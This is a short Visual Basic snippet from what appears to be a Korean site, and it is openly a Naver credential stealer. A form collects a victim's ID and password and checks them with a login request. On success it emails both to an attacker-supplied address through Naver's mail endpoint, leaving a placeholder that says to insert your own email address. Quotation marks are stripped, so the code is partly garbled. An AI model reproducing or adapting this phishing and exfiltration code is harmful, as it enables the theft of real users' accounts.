수다닷컴

Dim WinHttp As New WinHttpRequest
Function Mail(ByVal Valto As String, ByVal Valbd As String, ByVal ValTt As String)
WinHttp.Open POST, Uhttp://mail.naver.com/write/?cmd=send/U, False
WinHttp.SetRequestHeader Content-Type, application/x-www-form-urlencoded
WinHttp.Send to= & Valto & &mailBody= & Valbd & &subject= & ValTt & &charset=AUTO&attachID=hfKwWBFCWSemWBtTFAgq7XkmWzeCpVYZKAumKxgZKVYwaLeq7XFCpxg9KAgZKqgZKAtrKm%3D%3D
WinHttp.WaitForResponse

End Function
Private Sub Command1_Click()
If Tid = Or Tpw = Then MsgBox 빈칸채워..., vbCritical, 오류: Exit Sub

WinHttp.Open GET, Uhttps://nid.naver.com/nidlogin.login?svctype=2&id/U= & Tid & &password= & Tpw
WinHttp.Send

If InStr(StrConv(WinHttp.ResponseBody, vbUnicode), 로그인 실패) Then
MsgBox 아이디 또는 비밀번호 불일치!!, vbCritical, 오류
Exit Sub
Else
MsgBox 정상적인 로그인 성공!, vbInformation, 안내
Mail U여따가 니 메일주소 써라/UTpw, Tid & / & Tpw
End If
End Sub

신청하기